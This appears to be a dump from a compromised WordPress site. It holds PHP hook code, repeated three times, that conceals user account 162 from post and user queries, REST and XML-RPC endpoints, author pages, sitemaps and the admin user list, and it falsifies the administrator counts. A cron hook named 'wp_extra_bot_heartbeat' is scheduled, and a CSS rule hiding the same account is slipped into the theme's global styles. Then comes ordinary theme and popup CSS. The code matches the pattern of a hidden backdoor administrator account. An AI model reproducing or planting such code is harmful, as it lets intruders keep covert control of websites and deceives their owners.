add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 162;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 162 );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 162;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 162;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-162{display:none!important}</style>';
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 162;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 162 );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 162;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 162;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-162{display:none!important}</style>';
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 162;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 162 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 162 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 162;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 162;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 162;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/162(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 162;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-162{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
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:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color)}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}.has-text-align-center{text-align:center}.has-text-align-left{text-align:left}.has-text-align-right{text-align:right}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{border:0;clip:rect(1px,1px,1px,1px);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}.screen-reader-text:focus{background-color:#ddd;clip:auto!important;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-right-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-left-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-right-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}
</style>
<style id='global-styles-inline-css'>
:root{--wp--preset--aspect-ratio--square: 1;--wp--preset--aspect-ratio--4-3: 4/3;--wp--preset--aspect-ratio--3-4: 3/4;--wp--preset--aspect-ratio--3-2: 3/2;--wp--preset--aspect-ratio--2-3: 2/3;--wp--preset--aspect-ratio--16-9: 16/9;--wp--preset--aspect-ratio--9-16: 9/16;--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--color--foreground: #000000;--wp--preset--color--background: #ffffff;--wp--preset--color--primary: #1a4548;--wp--preset--color--secondary: #ffe2c7;--wp--preset--color--tertiary: #F6F6F6;--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgba(6,147,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgba(252,185,0,1) 0%,rgba(255,105,0,1) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgba(255,105,0,1) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--gradient--vertical-secondary-to-tertiary: linear-gradient(to bottom,var(--wp--preset--color--secondary) 0%,var(--wp--preset--color--tertiary) 100%);--wp--preset--gradient--vertical-secondary-to-background: linear-gradient(to bottom,var(--wp--preset--color--secondary) 0%,var(--wp--preset--color--background) 100%);--wp--preset--gradient--vertical-tertiary-to-background: linear-gradient(to bottom,var(--wp--preset--color--tertiary) 0%,var(--wp--preset--color--background) 100%);--wp--preset--gradient--diagonal-primary-to-foreground: linear-gradient(to bottom right,var(--wp--preset--color--primary) 0%,var(--wp--preset--color--foreground) 100%);--wp--preset--gradient--diagonal-secondary-to-background: linear-gradient(to bottom right,var(--wp--preset--color--secondary) 50%,var(--wp--preset--color--background) 50%);--wp--preset--gradient--diagonal-background-to-secondary: linear-gradient(to bottom right,var(--wp--preset--color--background) 50%,var(--wp--preset--color--secondary) 50%);--wp--preset--gradient--diagonal-tertiary-to-background: linear-gradient(to bottom right,var(--wp--preset--color--tertiary) 50%,var(--wp--preset--color--background) 50%);--wp--preset--gradient--diagonal-background-to-tertiary: linear-gradient(to bottom right,var(--wp--preset--color--background) 50%,var(--wp--preset--color--tertiary) 50%);--wp--preset--font-size--small: 1rem;--wp--preset--font-size--medium: 1.125rem;--wp--preset--font-size--large: 1.75rem;--wp--preset--font-size--x-large: clamp(1.75rem, 3vw, 2.25rem);--wp--preset--font-family--system-font: -apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;--wp--preset--font-family--source-serif-pro: "Source Serif Pro", serif;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgba(255, 255, 255, 1), 6px 6px rgba(0, 0, 0, 1);--wp--preset--shadow--crisp: 6px 6px 0px rgba(0, 0, 0, 1);--wp--custom--spacing--small: max(1.25rem, 5vw);--wp--custom--spacing--medium: clamp(2rem, 8vw, calc(4 * var(--wp--style--block-gap)));--wp--custom--spacing--large: clamp(4rem, 10vw, 8rem);--wp--custom--spacing--outer: var(--wp--custom--spacing--small, 1.25rem);--wp--custom--typography--font-size--huge: clamp(2.25rem, 4vw, 2.75rem);--wp--custom--typography--font-size--gigantic: clamp(2.75rem, 6vw, 3.25rem);--wp--custom--typography--font-size--colossal: clamp(3.25rem, 8vw, 6.25rem);--wp--custom--typography--line-height--tiny: 1.15;--wp--custom--typography--line-height--small: 1.2;--wp--custom--typography--line-height--medium: 1.4;--wp--custom--typography--line-height--normal: 1.6;}:root { --wp--style--global--content-size: 650px;--wp--style--global--wide-size: 1000px; }:where(body) { margin: 0; }.wp-site-blocks > .alignleft { float: left; margin-right: 2em; }.wp-site-blocks > .alignright { float: right; margin-left: 2em; }.wp-site-blocks > .aligncenter { justify-content: center; margin-left: auto; margin-right: auto; }:where(.wp-site-blocks) > * { margin-block-start: 1.5rem; margin-block-end: 0; }:where(.wp-site-blocks) > :first-child { margin-block-start: 0; }:where(.wp-site-blocks) > :last-child { margin-block-end: 0; }:root { --wp--style--block-gap: 1.5rem; }:root :where(.is-layout-flow) > :first-child{margin-block-start: 0;}:root :where(.is-layout-flow) > :last-child{margin-block-end: 0;}:root :where(.is-layout-flow) > *{margin-block-start: 1.5rem;margin-block-end: 0;}:root :where(.is-layout-constrained) > :first-child{margin-block-start: 0;}:root :where(.is-layout-constrained) > :last-child{margin-block-end: 0;}:root :where(.is-layout-constrained) > *{margin-block-start: 1.5rem;margin-block-end: 0;}:root :where(.is-layout-flex){gap: 1.5rem;}:root :where(.is-layout-grid){gap: 1.5rem;}.is-layout-flow > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}.is-layout-flow > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}.is-layout-flow > .aligncenter{margin-left: auto !important;margin-right: auto !important;}.is-layout-constrained > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}.is-layout-constrained > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}.is-layout-constrained > .aligncenter{margin-left: auto !important;margin-right: auto !important;}.is-layout-constrained > :where(:not(.alignleft):not(.alignright):not(.alignfull)){max-width: var(--wp--style--global--content-size);margin-left: auto !important;margin-right: auto !important;}.is-layout-constrained > .alignwide{max-width: var(--wp--style--global--wide-size);}body .is-layout-flex{display: flex;}.is-layout-flex{flex-wrap: wrap;align-items: center;}.is-layout-flex > :is(*, div){margin: 0;}body .is-layout-grid{display: grid;}.is-layout-grid > :is(*, div){margin: 0;}body{background-color: var(--wp--preset--color--background);color: var(--wp--preset--color--foreground);font-family: var(--wp--preset--font-family--system-font);font-size: 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var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-foreground-color{color: var(--wp--preset--color--foreground) !important;}.has-background-color{color: var(--wp--preset--color--background) !important;}.has-primary-color{color: var(--wp--preset--color--primary) !important;}.has-secondary-color{color: var(--wp--preset--color--secondary) !important;}.has-tertiary-color{color: var(--wp--preset--color--tertiary) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-foreground-background-color{background-color: var(--wp--preset--color--foreground) !important;}.has-background-background-color{background-color: var(--wp--preset--color--background) !important;}.has-primary-background-color{background-color: var(--wp--preset--color--primary) !important;}.has-secondary-background-color{background-color: var(--wp--preset--color--secondary) !important;}.has-tertiary-background-color{background-color: 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var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-vertical-secondary-to-tertiary-gradient-background{background: var(--wp--preset--gradient--vertical-secondary-to-tertiary) !important;}.has-vertical-secondary-to-background-gradient-background{background: var(--wp--preset--gradient--vertical-secondary-to-background) !important;}.has-vertical-tertiary-to-background-gradient-background{background: var(--wp--preset--gradient--vertical-tertiary-to-background) !important;}.has-diagonal-primary-to-foreground-gradient-background{background: var(--wp--preset--gradient--diagonal-primary-to-foreground) !important;}.has-diagonal-secondary-to-background-gradient-background{background: var(--wp--preset--gradient--diagonal-secondary-to-background) !important;}.has-diagonal-background-to-secondary-gradient-background{background: var(--wp--preset--gradient--diagonal-background-to-secondary) !important;}.has-diagonal-tertiary-to-background-gradient-background{background: var(--wp--preset--gradient--diagonal-tertiary-to-background) !important;}.has-diagonal-background-to-tertiary-gradient-background{background: var(--wp--preset--gradient--diagonal-background-to-tertiary) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;}.has-system-font-font-family{font-family: var(--wp--preset--font-family--system-font) !important;}.has-source-serif-pro-font-family{font-family: var(--wp--preset--font-family--source-serif-pro) !important;}tr#user-162,tr#user_162{display:none!important}
:root :where(.wp-block-button .wp-block-button__link){background-color: var(--wp--preset--color--primary);border-radius: 0;color: var(--wp--preset--color--background);font-size: var(--wp--preset--font-size--medium);}
:root :where(.wp-block-post-title){font-family: var(--wp--preset--font-family--source-serif-pro);font-size: var(--wp--custom--typography--font-size--gigantic);font-weight: 300;line-height: var(--wp--custom--typography--line-height--tiny);}
:root :where(.wp-block-site-title){font-family: var(--wp--preset--font-family--system-font);font-size: var(--wp--preset--font-size--medium);font-style: italic;font-weight: normal;line-height: var(--wp--custom--typography--line-height--normal);}
</style>
<style id='core-block-supports-inline-css'>
.wp-container-core-navigation-is-layout-1{justify-content:flex-end;}.wp-container-core-group-is-layout-2{justify-content:space-between;}.wp-container-core-group-is-layout-8{justify-content:space-between;}
</style>
<style id='wp-block-template-skip-link-inline-css'>

		.skip-link.screen-reader-text {
			border: 0;
			clip: rect(1px,1px,1px,1px);
			clip-path: inset(50%);
			height: 1px;
			margin: -1px;
			overflow: hidden;
			padding: 0;
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/* Popup Google Fonts */
@import url('//fonts.googleapis.com/css?family=Montserrat:100');

/* Popup Theme 1466: Contenu uniquement. Pour l’utilisation avec les constructeurs de page ou l’éditeur de bloc. */
.pum-theme-1466, .pum-theme-content-only { background-color: rgba( 0, 0, 0, 0.70 ) } 
.pum-theme-1466 .pum-container, .pum-theme-content-only .pum-container { padding: 0px; border-radius: 0px; border: 1px none #000000; box-shadow: 0px 0px 0px 0px rgba( 2, 2, 2, 0.00 ) } 
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.pum-theme-1466 .pum-content, .pum-theme-content-only .pum-content { color: #8c8c8c; font-family: inherit; font-weight: 400 } 
.pum-theme-1466 .pum-content + .pum-close, .pum-theme-content-only .pum-content + .pum-close { position: absolute; height: 18px; width: 18px; left: auto; right: 7px; bottom: auto; top: 7px; padding: 0px; color: #000000; font-family: inherit; font-weight: 700; font-size: 20px; line-height: 20px; border: 1px none #ffffff; border-radius: 15px; box-shadow: 0px 0px 0px 0px rgba( 2, 2, 2, 0.00 ); text-shadow: 0px 0px 0px rgba( 0, 0, 0, 0.00 ); background-color: rgba( 255, 255, 255, 0.00 ) } 

/* Popup Theme 781: Default Theme */
.pum-theme-781, .pum-theme-default-theme { background-color: rgba( 255, 255, 255, 0.20 ) } 
.pum-theme-781 .pum-container, .pum-theme-default-theme .pum-container { padding: 18px; border-radius: 0px; border: 1px none #000000; box-shadow: 1px 1px 3px 0px rgba( 2, 2, 2, 0.23 ); background-color: rgba( 245, 248, 253, 1.00 ) } 
.pum-theme-781 .pum-title, .pum-theme-default-theme .pum-title { color: #000000; text-align: left; text-shadow: 0px 0px 0px rgba( 2, 2, 2, 0.23 ); font-family: inherit; font-weight: 400; font-size: 18px; line-height: 8px } 
.pum-theme-781 .pum-content, .pum-theme-default-theme .pum-content { color: #000000; font-family: Sans-Serif; font-weight: 500 } 
.pum-theme-781 .pum-content + .pum-close, .pum-theme-default-theme .pum-content + .pum-close { position: absolute; height: 28px; width: 28px; left: auto; right: 4px; bottom: auto; top: 6px; padding: 0px; color: #ffffff; font-family: inherit; font-weight: 100; font-size: 15px; line-height: 8px; border: 1px none #ffffff; border-radius: 28px; box-shadow: 1px 1px 3px 0px rgba( 2, 2, 2, 0.23 ); text-shadow: 0px 0px 0px rgba( 0, 0, 0, 0.23 ); background-color: rgba( 235, 37, 86, 1.00 ) } 

/* Popup Theme 782: Light Box */
.pum-theme-782, .pum-theme-lightbox { background-color: rgba( 0, 0, 0, 0.60 ) } 
.pum-theme-782 .pum-container, .pum-theme-lightbox .pum-container { padding: 18px; border-radius: 3px; border: 8px solid #000000; box-shadow: 0px 0px 30px 0px rgba( 2, 2, 2, 1.00 ); background-color: rgba( 255, 255, 255, 1.00 ) } 
.pum-theme-782 .pum-title, .pum-theme-lightbox .pum-title { color: #000000; text-align: left; text-shadow: 0px 0px 0px rgba( 2, 2, 2, 0.23 ); font-family: inherit; font-weight: 100; font-size: 32px; line-height: 36px } 
.pum-theme-782 .pum-content, .pum-theme-lightbox .pum-content { color: #000000; font-family: inherit; font-weight: 100 } 
.pum-theme-782 .pum-content + .pum-close, .pum-theme-lightbox .pum-content + .pum-close { position: absolute; height: 26px; width: 26px; left: auto; right: -13px; bottom: auto; top: -13px; padding: 0px; color: #ffffff; font-family: Arial; font-weight: 100; font-size: 24px; line-height: 24px; border: 2px solid #ffffff; border-radius: 26px; box-shadow: 0px 0px 15px 1px rgba( 2, 2, 2, 0.75 ); text-shadow: 0px 0px 0px rgba( 0, 0, 0, 0.23 ); background-color: rgba( 0, 0, 0, 1.00 ) } 

/* Popup Theme 783: Enterprise Blue */
.pum-theme-783, .pum-theme-enterprise-blue { background-color: rgba( 0, 0, 0, 0.70 ) } 
.pum-theme-783 .pum-container, .pum-theme-enterprise-blue .pum-container { padding: 28px; border-radius: 5px; border: 1px none #000000; box-shadow: 0px 10px 25px 4px rgba( 2, 2, 2, 0.50 ); background-color: rgba( 255, 255, 255, 1.00 ) } 
.pum-theme-783 .pum-title, .pum-theme-enterprise-blue .pum-title { color: #315b7c; text-align: left; text-shadow: 0px 0px 0px rgba( 2, 2, 2, 0.23 ); font-family: inherit; font-weight: 100; font-size: 34px; line-height: 36px } 
.pum-theme-783 .pum-content, .pum-theme-enterprise-blue .pum-content { color: #2d2d2d; font-family: inherit; font-weight: 100 } 
.pum-theme-783 .pum-content + .pum-close, .pum-theme-enterprise-blue .pum-content + .pum-close { position: absolute; height: 28px; width: 28px; left: auto; right: 8px; bottom: auto; top: 8px; padding: 4px; color: #ffffff; font-family: Times New Roman; font-weight: 100; font-size: 20px; line-height: 20px; border: 1px none #ffffff; border-radius: 42px; box-shadow: 0px 0px 0px 0px rgba( 2, 2, 2, 0.23 ); text-shadow: 0px 0px 0px rgba( 0, 0, 0, 0.23 ); background-color: rgba( 49, 91, 124, 1.00 ) } 

/* Popup Theme 784: Hello Box */
.pum-theme-784, .pum-theme-hello-box { background-color: rgba( 0, 0, 0, 0.75 ) } 
.pum-theme-784 .pum-container, .pum-theme-hello-box .pum-container { padding: 30px; border-radius: 80px; border: 14px solid #81d742; box-shadow: 0px 0px 0px 0px rgba( 2, 2, 2, 0.00 ); background-color: rgba( 255, 255, 255, 1.00 ) } 
.pum-theme-784 .pum-title, .pum-theme-hello-box .pum-title { color: #2d2d2d; text-align: left; text-shadow: 0px 0px 0px rgba( 2, 2, 2, 0.23 ); font-family: Montserrat; font-weight: 100; font-size: 32px; line-height: 36px } 
.pum-theme-784 .pum-content, .pum-theme-hello-box .pum-content { color: #2d2d2d; font-family: inherit; font-weight: 100 } 
.pum-theme-784 .pum-content + .pum-close, .pum-theme-hello-box .pum-content + .pum-close { position: absolute; height: auto; width: auto; left: auto; right: -30px; bottom: auto; top: -30px; padding: 0px; color: #2d2d2d; font-family: Times New Roman; font-weight: 100; font-size: 32px; line-height: 28px; border: 1px none #ffffff; border-radius: 28px; box-shadow: 0px 0px 0px 0px rgba( 2, 2, 2, 0.23 ); text-shadow: 0px 0px 0px rgba( 0, 0, 0, 0.23 ); background-color: rgba( 255, 255, 255, 1.00 ) } 

/* Popup Theme 785: Cutting Edge */
.pum-theme-785, .pum-theme-cutting-edge { background-color: rgba( 0, 0, 0, 0.50 ) } 
.pum-theme-785 .pum-container, .pum-theme-cutting-edge .pum-container { padding: 18px; border-radius: 0px; border: 1px none #000000; box-shadow: 0px 10px 25px 0px rgba( 2, 2, 2, 0.50 ); background-color: rgba( 30, 115, 190, 1.00 ) } 
.pum-theme-785 .pum-title, .pum-theme-cutting-edge .pum-title { color: #ffffff; text-align: left; text-shadow: 0px 0px 0px rgba( 2, 2, 2, 0.23 ); font-family: Sans-Serif; font-weight: 100; font-size: 26px; line-height: 28px } 
.pum-theme-785 .pum-content, .pum-theme-cutting-edge .pum-content { color: #ffffff; font-family: inherit; font-weight: 100 } 
.pum-theme-785 .pum-content + .pum-close, .pum-theme-cutting-edge .pum-content + .pum-close { position: absolute; height: 24px; width: 24px; left: auto; right: 0px; bottom: auto; top: 0px; padding: 0px; color: #1e73be; font-family: Times New Roman; font-weight: 100; font-size: 32px; line-height: 24px; border: 1px none #ffffff; border-radius: 0px; box-shadow: -1px 1px 1px 0px rgba( 2, 2, 2, 0.10 ); text-shadow: -1px 1px 1px rgba( 0, 0, 0, 0.10 ); background-color: rgba( 238, 238, 34, 1.00 ) } 

/* Popup Theme 786: Framed Border */
.pum-theme-786, .pum-theme-framed-border { background-color: rgba( 255, 255, 255, 0.50 ) } 
.pum-theme-786 .pum-container, .pum-theme-framed-border .pum-container { padding: 18px; border-radius: 0px; border: 20px outset #dd3333; box-shadow: 1px 1px 3px 0px rgba( 2, 2, 2, 0.97 ) inset; background-color: rgba( 255, 251, 239, 1.00 ) } 
.pum-theme-786 .pum-title, .pum-theme-framed-border .pum-title { color: #000000; text-align: left; text-shadow: 0px 0px 0px rgba( 2, 2, 2, 0.23 ); font-family: inherit; font-weight: 100; font-size: 32px; line-height: 36px } 
.pum-theme-786 .pum-content, .pum-theme-framed-border .pum-content { color: #2d2d2d; font-family: inherit; font-weight: 100 } 
